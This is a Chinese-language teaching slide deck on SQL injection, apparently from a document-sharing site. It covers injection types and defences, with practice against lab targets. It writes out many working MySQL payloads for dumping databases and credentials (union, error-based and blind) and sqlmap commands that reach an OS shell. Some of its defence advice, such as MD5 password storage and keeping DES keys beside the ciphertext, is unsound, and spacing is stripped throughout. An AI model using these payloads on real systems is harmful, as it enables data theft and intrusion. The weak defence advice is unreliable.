版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
SQL注入攻擊SQL注入攻擊是黑客對(duì)數(shù)據(jù)庫(kù)進(jìn)行攻擊的常用手段之一。隨著B(niǎo)/S模式應(yīng)用開(kāi)發(fā)的發(fā)展,使用這種模式編寫(xiě)應(yīng)用程序的程序員也越來(lái)越多。但是由于程序員的水平及經(jīng)驗(yàn)也參差不齊,相當(dāng)大一部分程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫(kù)查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL
Injection,即SQL注入。前言目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實(shí)踐所謂SQL注入,就是通過(guò)把SQL命令插入到Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來(lái)說(shuō),它是利用現(xiàn)有應(yīng)用程序,將(惡意的)SQL命令注入到后臺(tái)數(shù)據(jù)庫(kù)引擎執(zhí)行的能力,它可以通過(guò)在Web表單中輸入(惡意)SQL語(yǔ)句得到一個(gè)存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫(kù),而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語(yǔ)句。比如先前的很多影視網(wǎng)站泄露VIP會(huì)員密碼大多就是通過(guò)WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。什么是SQL注入一般用戶登錄用的SQL語(yǔ)句為:SELECT*FROMuserWHEREusername='admin'ANDpassword='passwd';此處admin和passwd分別為用戶輸入的用戶名和密碼,如果程序員沒(méi)有對(duì)用戶輸入的用戶名和密碼做處理,就可以構(gòu)造萬(wàn)能密碼成功繞過(guò)登錄驗(yàn)證。SQL注入原理如用戶輸入'or1#,SQL語(yǔ)句此時(shí)將變?yōu)椋篠ELECT*FROMuserWHEREusername=''or1#'ANDpassword='';''or1為T(mén)RUE,#注釋掉后面的內(nèi)容,邏輯就會(huì)變成類似于SELECT*FROMuserWHEREusername=''or1;or語(yǔ)句連接兩個(gè)條件,其中只要一個(gè)為true,結(jié)果就會(huì)true所以查詢語(yǔ)句可以正確執(zhí)行。SQL注入原理pikachu來(lái)測(cè)試一下:查看源代碼,可以看到SQL語(yǔ)句為:SELECTid,emailFROMmemberWHEREusername='$name';拼接之后,SQL語(yǔ)句為SELECTid,emailFROMmemberWHEREusername=''or1#';語(yǔ)句永恒為真,則輸出所有的用戶SQL注入原理SQL注入漏洞的產(chǎn)生需要滿足兩個(gè)條件:參數(shù)用戶可控:前端傳給后端的參數(shù)內(nèi)容是用戶可以控制的。參數(shù)帶入數(shù)據(jù)庫(kù)查詢:傳入的參數(shù)拼接到SQL語(yǔ)句并帶入數(shù)據(jù)庫(kù)查詢。SQL注入利用條件①http://www.XXXXXX.com/showtail.asp?id=40'②http://www.XXXXXX.com/showtail.asp?id=40
and
1=1③http://www.XXXXXX.com/showtail.asp?id=40
and
1=2如果執(zhí)行①后,頁(yè)面上提示報(bào)錯(cuò)或者提示數(shù)據(jù)庫(kù)錯(cuò)誤的話,說(shuō)明是存在注入漏洞的。如果執(zhí)行②后,頁(yè)面正常顯示,而執(zhí)行③后,頁(yè)面報(bào)錯(cuò),那么說(shuō)明這個(gè)頁(yè)面是存在注入漏洞的。SQL注入是否存在的判斷方式目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實(shí)踐SQL注入的分類-按注入點(diǎn)類型來(lái)分在Web
端大概是/news.php?id=1
這種形式,其注入點(diǎn)id
類型為數(shù)字,所以叫數(shù)字型注入點(diǎn)。這一類的
SQL
語(yǔ)句原型大概為
select*from
表名
where
id=1。組合出來(lái)的sql注入語(yǔ)句為:select*fromnews
whereid=1
and
1=12字符型注入點(diǎn)3搜索型注入點(diǎn)在Web端大概是/news.php?name=admin這種形式,其注入點(diǎn)name類型為字符類型,所以叫字符型注入點(diǎn)。這一類的SQL語(yǔ)句原型大概為select*from表名wherename='admin'。注意多了引號(hào)。組合出來(lái)的sql注入語(yǔ)句為:select*fromnewswherechr='admin'and1=11數(shù)字型注入點(diǎn)這是一類特殊的注入類型。這類注入主要是指在進(jìn)行數(shù)據(jù)搜索時(shí)沒(méi)過(guò)濾搜索參數(shù),一般在鏈接地址中有“keyword=關(guān)鍵字”,有的不顯示在的鏈接地址里面,而是直接通過(guò)搜索框表單提交。此類注入點(diǎn)提交的SQL語(yǔ)句,其原形大致為:select*from表名where字段like
'%關(guān)鍵字%'。按數(shù)據(jù)提交方式來(lái)分類:GET型注入:提交數(shù)據(jù)的方式是GET,注入點(diǎn)的位置在GET參數(shù)部分。比如有這樣的一個(gè)鏈接/news.php?id=1
,
id是注入點(diǎn)。POST型注入:使用POST方式提交數(shù)據(jù),注入點(diǎn)位置在POST數(shù)據(jù)部分,常發(fā)生在表單中。cookie注入:HTTP請(qǐng)求的時(shí)候會(huì)帶上客戶端的Cookie,注入點(diǎn)存在cookie當(dāng)中的某個(gè)字段中。HTTP頭部注入:注入點(diǎn)在HTTP請(qǐng)求頭部的某個(gè)字段中。比如存在User-Agent字段中。嚴(yán)格講的話,Cookie其實(shí)應(yīng)該也是算頭部注入的一種形式。因?yàn)樵贖TTP請(qǐng)求的時(shí)候,Cookie是頭部的一個(gè)字段。SQL注入的分類-按數(shù)據(jù)提交方式來(lái)分按照?qǐng)?zhí)行效果來(lái)分類:聯(lián)合查詢注入,可以使用union的情況下的注入?;趫?bào)錯(cuò)注入,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中?;诓紶柕拿ぷ?,即可以根據(jù)返回頁(yè)面判斷條件真假的注入?;跁r(shí)間的盲注,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。SQL注入的分類-按照?qǐng)?zhí)行效果來(lái)分目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實(shí)踐1.限制數(shù)據(jù)類型:在傳入?yún)?shù)的地方限制參數(shù)的類型,比如整型Integer,隨后加入函數(shù)判斷,如is_numeric($_GET[‘id’])只有當(dāng)get到的id為數(shù)字或者數(shù)字字符時(shí)才能執(zhí)行下一步,限制了字符自然就限制了注入,畢竟構(gòu)造參數(shù)怎么可能不傳入字符。但這種方法存在一定的限制,只能在特定的頁(yè)面才能使用,一般大部分都是要求我們傳入的字符串,但可以很大程度限制整型注入的情況。SQL注入的防御2.正則匹配過(guò)濾:preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i',$id)注釋:preg_match()函數(shù)匹配傳入的id值,/作為正則的起始標(biāo)識(shí)符|代表或[A-Za-z]表示匹配參數(shù)中是否存在大小寫(xiě)的26個(gè)字符/d匹配是否存在數(shù)字+匹配一次或多次/i不區(qū)分大小寫(xiě)SQL注入的防御3.函數(shù)過(guò)濾轉(zhuǎn)移:在PHP中最基本的就是magic_quotes_gpc函數(shù),用于處理’"符號(hào)加上/防止轉(zhuǎn)義,如:?id=1'and1=1#===>?id=1/'and1=1#另外還有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函數(shù)結(jié)合正則表達(dá)式或者黑名單也具有預(yù)防效果。默認(rèn)情況下,PHP指令magic_quotes_gpc為on,對(duì)所有的GET、POST和COOKIE數(shù)據(jù)自動(dòng)運(yùn)行addslashes()。不要對(duì)已經(jīng)被magic_quotes_gpc轉(zhuǎn)義過(guò)的字符串使用addslashes(),因?yàn)檫@樣會(huì)導(dǎo)致雙層轉(zhuǎn)義。遇到這種情況時(shí)可以使用函數(shù)get_magic_quotes_gpc()進(jìn)行檢測(cè)。mysql_escape_string($string):用反斜杠轉(zhuǎn)義字符串中的特殊字符,用于mysql_query()查詢。mysql_real_escape_string()函數(shù)轉(zhuǎn)義SQL語(yǔ)句中使用的字符串中的特殊字符。轉(zhuǎn)義的符號(hào)包括\x00\n\r\’"\x1aSQL注入的防御4.預(yù)編譯語(yǔ)句:預(yù)編譯語(yǔ)句對(duì)現(xiàn)在的程序員來(lái)說(shuō)基本都會(huì)去設(shè)計(jì)使用的方法,保障數(shù)據(jù)庫(kù)的安全。一般來(lái)說(shuō),防御SQL注入的最佳方式就是使用預(yù)編譯語(yǔ)句,綁定變量。Stringquery="selectpasswordfromuserswhereusername='?'";預(yù)編譯:使用預(yù)編譯相當(dāng)于是將數(shù)據(jù)于代碼分離的方式,把傳入的參數(shù)綁定為一個(gè)變量,用?表示,攻擊者無(wú)法改變SQL的結(jié)構(gòu),在這個(gè)例子中,即使攻擊者插入類似admin’or1=1#的字符串,如果不做處理直接帶入查詢,那么query則變成了query="selectpasswordfromuserswhereusername='admin'or1=1";SQL注入的防御4.預(yù)編譯語(yǔ)句:閉合了后面的引號(hào),從而執(zhí)行了惡意代碼。而預(yù)編譯則是將傳入的admin’or1=1#當(dāng)做純字符串的形式作為username執(zhí)行,避免了上面說(shuō)到的SQL語(yǔ)句中的拼接閉合查詢語(yǔ)句等過(guò)程,可以理解為字符串與sql語(yǔ)句的關(guān)系區(qū)分開(kāi),username此時(shí)作為字符串不會(huì)被當(dāng)做之前的SQL語(yǔ)句被帶入數(shù)據(jù)庫(kù)執(zhí)行,避免了類似sql語(yǔ)句拼接、閉合等非法操作。就相當(dāng)于拿著這個(gè)字符串去數(shù)據(jù)庫(kù)中找有沒(méi)有這個(gè)東西一樣。并且使用預(yù)編譯的SQL語(yǔ)句,SQL語(yǔ)句的語(yǔ)義不會(huì)發(fā)生改變。SQL注入的防御5.對(duì)數(shù)據(jù)庫(kù)的敏感信息進(jìn)行加密:數(shù)據(jù)庫(kù)中可以進(jìn)行MD5算法加密插入到數(shù)據(jù)庫(kù)中,像數(shù)據(jù)庫(kù)中的用戶的賬號(hào)和密碼以及涉及到用的個(gè)人隱私的。在插入數(shù)據(jù)之前使用DES算法加密,密文加密鑰組合起來(lái),例如password字段的數(shù)據(jù),前十六位為密文,后十六位為密鑰,則password等于密文(16位)加上密鑰(16位)組合起來(lái),其他表中的字段同理。SQL注入的防御6.管理數(shù)據(jù)庫(kù)的配置權(quán)限:使用安全的賬號(hào)和密碼策略,SQLServer具有一個(gè)超級(jí)用戶賬號(hào),其用戶名稱是:SA,該用戶名不能被修改也不能被刪除,所以,我們必須對(duì)這個(gè)賬號(hào)進(jìn)行最強(qiáng)的保護(hù)。不在數(shù)據(jù)庫(kù)應(yīng)用中直接使用SA賬號(hào),新建一個(gè)(而且只建-一個(gè))與SA一樣權(quán)限的超級(jí)用戶來(lái)管理數(shù)據(jù)庫(kù),其它用戶根據(jù)實(shí)際需要分配僅僅能夠滿足應(yīng)用要求的權(quán)限,不要給予多余的權(quán)限,所有用戶(特別是超級(jí)用戶)都要使用復(fù)雜的密碼,同時(shí)養(yǎng)成定期修改密碼的好習(xí)慣。SQL注入的防御目錄/CONTENTSSQL注入攻擊原理SQL注入攻擊分類SQL注入攻擊防御SQL注入攻擊實(shí)踐MySQL的注釋風(fēng)格內(nèi)聯(lián)注釋是MySQL數(shù)據(jù)庫(kù)為了保持與其他數(shù)據(jù)庫(kù)兼容,特意新添加的功能。為了避免從MySQL中導(dǎo)出的SQL語(yǔ)句不能被其他數(shù)據(jù)庫(kù)使用,它把一些MySQL特有的語(yǔ)句放在/*!...*/中,這些語(yǔ)句在不兼容的數(shù)據(jù)庫(kù)中使用時(shí)便不會(huì)執(zhí)行。而MySQL自身卻能識(shí)別、執(zhí)行。/*50001*/表示數(shù)據(jù)庫(kù)版本>=5.00.01時(shí)中間的語(yǔ)句才會(huì)執(zhí)行。在SQL注入中,內(nèi)聯(lián)注釋常用來(lái)繞過(guò)waf。MySQL的注釋風(fēng)格MySQL-常用函數(shù)函數(shù)/
語(yǔ)句功能user()當(dāng)前用戶名database()當(dāng)前所用數(shù)據(jù)庫(kù)current_user()當(dāng)前用戶名(可用來(lái)查看權(quán)限)version()數(shù)據(jù)庫(kù)的版本@@datadir數(shù)據(jù)庫(kù)的路徑load_file()讀文件操作Intooutfile()/intodumpfile寫(xiě)文件操作concat(str1,str2..)函數(shù),直接連接group_concat(str1,str2..)函數(shù),使用逗號(hào)做為分隔符concat_ws(sep,str1,str2..)函數(shù),使用第一個(gè)參數(shù)做為分隔符MySQL-字符串連接函數(shù)MySQL-information-schema結(jié)構(gòu)原理:聯(lián)合查詢是可合并多個(gè)相似的選擇查詢的結(jié)果集。等同于將一個(gè)表追加到另一個(gè)表,從而實(shí)現(xiàn)將兩個(gè)表的查詢組合在一起,使用為此為UNINO或UNIONALL
聯(lián)合查詢:將多個(gè)查詢的結(jié)果合并到一起(縱向合并):字段數(shù)不變,多個(gè)查詢的記錄數(shù)合并基本語(yǔ)法:select語(yǔ)句union操作符聯(lián)合查詢注入的條件:聯(lián)合查詢注入是MySQL注入中的一種方式,在SQL注入中說(shuō)了注入漏洞存在的相關(guān)條件,而聯(lián)合查詢注入這種方法需要滿足查詢的信息在前端有回顯,回顯數(shù)據(jù)的位置就叫回顯位。
如果有注入漏洞的頁(yè)面存在這種回顯位就可以利用聯(lián)合查詢注入的方式進(jìn)行注入。聯(lián)合查詢聯(lián)合查詢注入的一般步驟聯(lián)合查詢判斷是否存在注入:Payload:?id=1'聯(lián)合查詢求閉合字符:Payload:?id=1'and1=1%23正?;仫@
Payload:?id=1'and1=2%23異常回顯說(shuō)明存在布爾類型狀態(tài)聯(lián)合查詢求列數(shù):Payload:?id=1'orderby3%23
正?;仫@
Payload:?id=1'orderby4%23異常回顯說(shuō)明存在3個(gè)字段聯(lián)合查詢求顯示位:Payload:?id=1'unionselect1,2,3%23正?;仫@
Payload:?id=-1'unionselect1,2,3%232,3位置有回顯說(shuō)明2字段的內(nèi)容會(huì)在name位置回顯,3字段的內(nèi)容會(huì)在password位置回顯注意:聯(lián)合查詢的時(shí)候一般需要把前面的SQL語(yǔ)句置為假聯(lián)合查詢爆數(shù)據(jù)庫(kù)查詢所有庫(kù)名:Payload:?id=1'and1=2unionselect1,2,group_concat(schema_name)frominformation_schema.schemata%23查看當(dāng)前庫(kù):Payload:?id=1'and1=2unionselect1,2,concat(database())%23查看庫(kù)的版本:Payload:?id=1'and1=2unionselect1,2,concat(version())%23聯(lián)合查詢爆表名查詢security數(shù)據(jù)庫(kù)中所有的表:Payload:?id=1'and1=2unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema="security"%23聯(lián)合查詢爆列名查詢user表中所有列名:Payload:?id=1'and1=2unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema="security"andtable_name="users"%23聯(lián)合查詢爆字段內(nèi)容Payload:?id=1'and1=2unionselect1,2,group_concat(id,0x23,username,0x23,password)fromsecurity.users%23SQL報(bào)錯(cuò)注入就是利用數(shù)據(jù)庫(kù)的某些機(jī)制,人為地制造錯(cuò)誤條件,使得查詢結(jié)果能夠出現(xiàn)在錯(cuò)誤信息中。MYSQL報(bào)錯(cuò)注入大體可以分為以下幾類:BIGINT等數(shù)據(jù)類型溢出Xpath語(yǔ)法錯(cuò)誤concat+rand()+group_by()導(dǎo)致主鍵重復(fù)數(shù)據(jù)庫(kù)的一些特性注意,在使用報(bào)錯(cuò)語(yǔ)句時(shí),有兩種使用方法,一種是AND連接,報(bào)錯(cuò)語(yǔ)句不需要寫(xiě)SELECT;另一種是UNION,報(bào)錯(cuò)語(yǔ)句需要些SELECT,同時(shí)還要注意列數(shù)量要對(duì)應(yīng),推薦使用AND連接。報(bào)錯(cuò)注入常用函數(shù):Count()計(jì)算總數(shù)Concat()連接字符串Floor()向下取整數(shù)Rand()產(chǎn)生0~1的隨機(jī)數(shù)rand(0)序列是011011報(bào)錯(cuò)注入構(gòu)造payload獲取庫(kù)名;成功拿到庫(kù)名:security?id=1'Unionselect1,count(*),concat(database(),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報(bào)錯(cuò)注入構(gòu)造payload獲取表名;成功拿到表名:users?id=1'Unionselect1,count(*),concat((selecttable_namefrominformation_schema.tableswheretable_schema='security'limit3,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報(bào)錯(cuò)注入構(gòu)造payload獲取列名;成功拿到列名:username?id=1'Unionselect1,count(*),concat((selectcolumn_namefrominformation_schema.columnswheretable_schema='security'andtable_name='users'limit1,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報(bào)錯(cuò)注入構(gòu)造payload獲取數(shù)據(jù);成功拿到數(shù)據(jù)-用戶名:Dumb?id=1'Unionselect1,count(*),concat((selectpasswordfromuserslimit0,1),0x26,floor(rand(0)*2))xfrominformation_schema.columnsgroupbyx;--+報(bào)錯(cuò)注入1、通過(guò)floor報(bào)錯(cuò),注入語(yǔ)句如下:andselect1from(selectcount(),concat(version(),floor(rand(0)2))xfrominformation_schema.tablesgroupbyx)a);2、通過(guò)ExtractValue報(bào)錯(cuò),注入語(yǔ)句如下:andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));3、通過(guò)UpdateXml報(bào)錯(cuò),注入語(yǔ)句如下:and1=(updatexml(1,concat(0x3a,(selectuser())),1))4、通過(guò)NAME_CONST報(bào)錯(cuò),注入語(yǔ)句如下:andexists(selectfrom(selectfrom(selectname_const(@@version,0))ajoin(selectname_const(@@version,0))b)c)報(bào)錯(cuò)注入常用payload5、通過(guò)join報(bào)錯(cuò),注入語(yǔ)句如下:select*from(select*frommysql.userajoinmysql.userb)c;6、通過(guò)exp報(bào)錯(cuò),注入語(yǔ)句如下:andexp(~(select*from(selectuser())a));7、通過(guò)GeometryCollection()報(bào)錯(cuò),注入語(yǔ)句如下:andGeometryCollection(()select*from(selectuser())a)b);8、通過(guò)polygon()報(bào)錯(cuò),注入語(yǔ)句如下:andpolygon(()select*from(selectuser())a)b);9、通過(guò)multipoint()報(bào)錯(cuò),注入語(yǔ)句如下:andmultipoint(()select*from(selectuser())a)b);報(bào)錯(cuò)注入常用payload10、通過(guò)multlinestring()報(bào)錯(cuò),注入語(yǔ)句如下:andmultlinestring(()select*from(selectuser())a)b);11、通過(guò)multpolygon()報(bào)錯(cuò),注入語(yǔ)句如下:andmultpolygon(()select*from(selectuser())a)b);12、通過(guò)linestring()報(bào)錯(cuò),注入語(yǔ)句如下:andlinestring(()select*from(selectuser())a)b);報(bào)錯(cuò)注入常用payload盲注一般步驟Boolean型的注入意思就是頁(yè)面返回的結(jié)果是yes/no的,沒(méi)有明確回顯的,通過(guò)構(gòu)造SQL判斷語(yǔ)句,查看頁(yè)面的返回結(jié)果是否報(bào)錯(cuò),頁(yè)面返回是否正常等來(lái)判斷哪些SQL判斷條件是成立的,通過(guò)此來(lái)獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。頁(yè)面沒(méi)有明確的回顯點(diǎn),只能通過(guò)報(bào)錯(cuò)信息/異常響應(yīng)。布爾盲注簡(jiǎn)介substr()截取字符串a(chǎn)scii()返回字符的ascii碼length()返回字符串的長(zhǎng)度if(expr1,expr2,expr3)判斷語(yǔ)句如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句mid()返回字符串的一部分left()返回具有指定長(zhǎng)度的字符串的左邊部分ord()返回字符串第一個(gè)字符的ASCII值布爾盲注常用函數(shù)基于布爾類型1.判斷是否存在注入,注入是字符型還是數(shù)字型,例:1or1=1,1'or'1'='12.猜解當(dāng)前數(shù)據(jù)庫(kù)名,例:猜長(zhǎng)度andlength(database())=1#,逐個(gè)猜字符andascii(substr(database(),1,1))>97#3.猜解數(shù)據(jù)庫(kù)中的表名,例:猜表數(shù)量and(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1#,逐個(gè)猜表名長(zhǎng)度andlength(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1#,再逐個(gè)猜表名字符andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97#布爾盲注4.猜解表中的字段名,例:猜字段數(shù)量and(selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1#,逐個(gè)猜字段長(zhǎng)度andlength(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1#,再逐個(gè)猜字段字符(可用二分法)5.猜解數(shù)據(jù),先猜數(shù)據(jù)記錄數(shù)(可用二分法),再逐個(gè)字段猜數(shù)據(jù)的長(zhǎng)度及數(shù)據(jù)(可用二分法)布爾盲注延時(shí)注入又稱時(shí)間盲注,也是盲注的一種。通過(guò)構(gòu)造延時(shí)注入語(yǔ)句后,瀏覽器頁(yè)面的響應(yīng)時(shí)間來(lái)判斷正確的數(shù)據(jù);即利用函數(shù)sleep()讓服務(wù)器休眠,通過(guò)休眠時(shí)間判斷執(zhí)行的語(yǔ)句對(duì)錯(cuò),從而得到我們想要的信息。延時(shí)注入簡(jiǎn)介延時(shí)注入的應(yīng)用場(chǎng)景是,在我們輸入and1或者and0的時(shí)候,頁(yè)面的返回?zé)o變化,這個(gè)時(shí)候可以通過(guò)andsleep(5)來(lái)判斷一下頁(yè)面的響應(yīng)時(shí)間,響應(yīng)時(shí)間在五秒多一點(diǎn)的話,說(shuō)明此處可以使用延時(shí)注入。適用于,無(wú)法回顯和無(wú)法顯示錯(cuò)誤頁(yè)面的場(chǎng)景。延時(shí)注入應(yīng)用場(chǎng)景sleep()//延時(shí)if(condition,ture,fales)//條件語(yǔ)句ascii()//轉(zhuǎn)換成asciisubstring()substring("string",strart,length)//mid()也一樣從哪開(kāi)始取幾位count(column_name)函數(shù)返回指定列的值的數(shù)目(NULL不計(jì)入)。limit[offset,]rowsoffset是偏移量,表示我們現(xiàn)在需要的數(shù)據(jù)是跳過(guò)多少行數(shù)據(jù)之后的,可以忽略;rows表示我們現(xiàn)在要拿多少行數(shù)據(jù)。延時(shí)注入常用函數(shù)1.判斷是否存在注入,注入是字符型還是數(shù)字型andsleep(5)#2.猜解當(dāng)前數(shù)據(jù)庫(kù)名,例:猜長(zhǎng)度andif(length(database())=1,sleep(5),1)#,逐個(gè)猜字符andif(ascii(substr(database(),1,1))>97,sleep(5),1)3.猜解數(shù)據(jù)庫(kù)中的表名,例:猜表數(shù)量andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1,sleep(5),1)#,逐個(gè)猜表名長(zhǎng)度andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1,sleep(5),1),再逐個(gè)猜表名字符。延時(shí)注入4.猜解表中的字段名,例:猜字段數(shù)量andif((selectcount(column_name)frominformation_schema.columnswheretable_name=’users’)=1,sleep(5),1)#,逐個(gè)猜字段長(zhǎng)度andif(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name=’users’limit0,1),1))=1,sleep(5),1)#,再逐個(gè)猜字段字符(可用二分法)。5.猜解數(shù)據(jù),先猜數(shù)據(jù)記錄數(shù)(可用二分法),再逐個(gè)字段猜數(shù)據(jù)的長(zhǎng)度及數(shù)據(jù)(可用二分法)。延時(shí)注入SQLMAP是一個(gè)開(kāi)源的滲透測(cè)試工具,它主要用于自動(dòng)化地偵測(cè)和實(shí)施SQL注入攻擊以及滲透數(shù)據(jù)庫(kù)服務(wù)器。SQLMAP配有強(qiáng)大的偵測(cè)引擎,適用于高級(jí)滲透測(cè)試用戶,不僅可以獲得不同數(shù)據(jù)庫(kù)的指紋信息,還可以從數(shù)據(jù)庫(kù)中提取數(shù)據(jù),此外還能夠處理潛在的文件系統(tǒng)以及通過(guò)帶外數(shù)據(jù)連接執(zhí)行系統(tǒng)命令等。SQL注入工具檢測(cè)注入點(diǎn):sqlmap.py–u“url”信息探測(cè):判斷站點(diǎn)的當(dāng)前用戶是否為數(shù)據(jù)庫(kù)管理員sqlmap.py-u“url”--is-dba檢測(cè)站點(diǎn)中包含哪些數(shù)據(jù)庫(kù)sqlmap.py-u“url”--dbs檢測(cè)當(dāng)前使用的是哪個(gè)數(shù)據(jù)庫(kù)sqlmap.py-u“url”--current-db檢測(cè)當(dāng)前用戶sqlmap.py-u“url”--current-usersqlmap使用sqlmap使用注入流程:爆出指定數(shù)據(jù)庫(kù)的所有表sqlmap.py-u"url"--tables-D"schema_name"爆出指定表的列項(xiàng)sqlmap.py-u"url"--columns-T"table_name"-D"schema_name"輸出指定數(shù)據(jù)庫(kù)指定表的指定列的記錄sqlmap.py-u"url"–C"column_name"-T"table_name"-D"schema_name"--dumpPOST注入指定一個(gè)參數(shù)的方法:sqlmap.py-u"url"--data"n=1&p=1"--data選項(xiàng)為發(fā)送我們的指定數(shù)據(jù)自動(dòng)搜索表單的方式:sqlmap.py-u"url"–forms通過(guò)—forms參數(shù)自動(dòng)搜索表單抓取POST請(qǐng)求內(nèi)容方式:Sqlmap.py-r/root/Desktop/post通過(guò)-r參數(shù)加載post請(qǐng)求Cookie注入cookie用于在客戶端本地保存用戶訪問(wèn)網(wǎng)站時(shí)的一些身份驗(yàn)證信息。cookie與get和post方法一樣,都可用于客戶端向服務(wù)器端傳遞數(shù)據(jù)。檢測(cè)注入點(diǎn):sqlmap.py-u"url"--cookie"id=16"--level2--level,指定探測(cè)等級(jí)。sqlmap共有五個(gè)等級(jí),默認(rèn)為1。級(jí)別1,探測(cè)GET和POST數(shù)據(jù)。級(jí)別2,探測(cè)Cookie數(shù)據(jù)。注入指定數(shù)據(jù)庫(kù)、操作系統(tǒng)指定數(shù)據(jù)庫(kù),繞過(guò)salmap自動(dòng)檢測(cè):sqlmap.py-u"url"--dbms"mysql"-v2指定操作系統(tǒng):sqlmap.py-u"url"--os"Windows"-v2交互式寫(xiě)shell及命令執(zhí)行獲取Shell:sqlmap.py-u"url"--os-shell執(zhí)行命令,只要權(quán)限足夠大,可以輸入使用任何命令:sqlmap.py-u"url"--os-cmd=ipconfig以DVWA-SQLinjection的Low級(jí)別為例輸入?yún)?shù)1
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 人教A版安徽省合肥市普通高中聯(lián)盟2023-2024學(xué)年高二上學(xué)期1月期末聯(lián)考數(shù)學(xué)試題
- 武術(shù)說(shuō)課稿課件
- 基層 工會(huì) 課件
- 介紹魯濱遜課件
- 高考地理一輪復(fù)習(xí)第六章自然環(huán)境的整體性和差異性第一節(jié)植被與土壤課件
- 西京學(xué)院《微機(jī)原理與接口技術(shù)》2021-2022學(xué)年期末試卷
- 學(xué)管師工作核心說(shuō)課
- 西京學(xué)院《教師語(yǔ)言藝術(shù)》2022-2023學(xué)年第一學(xué)期期末試卷
- 西京學(xué)院《電機(jī)控制技術(shù)》2021-2022學(xué)年期末試卷
- 學(xué)會(huì)讀書(shū) 課件
- 2024年山東省東營(yíng)市中考語(yǔ)文試題含解析
- 天然氣管網(wǎng)安裝工程施工過(guò)程崗位操作指南
- 2024年招商引資居間合同
- 船用甲板刷商業(yè)機(jī)會(huì)挖掘與戰(zhàn)略布局策略研究報(bào)告
- 公司網(wǎng)絡(luò)安全制度
- 跨學(xué)科主題學(xué)習(xí)- 探索外來(lái)食料作物傳播史(課件)七年級(jí)地理上冊(cè)同步高效備課課件(人教版2024)
- 學(xué)校編制外臨時(shí)代課教師聘用管理辦法
- 食堂承包經(jīng)營(yíng)服務(wù)項(xiàng)目投標(biāo)方案(技術(shù)方案)
- 第五單元測(cè)試卷(單元測(cè)試)-2024-2025學(xué)年統(tǒng)編版六年級(jí)上冊(cè)語(yǔ)文
- 五級(jí)應(yīng)急救援員職業(yè)鑒定考試題庫(kù)(含答案)
- 第7課 實(shí)踐出真知-【中職專用】2024年中職思想政治《哲學(xué)與人生》金牌課件(高教版2023·基礎(chǔ)模塊)
評(píng)論
0/150
提交評(píng)論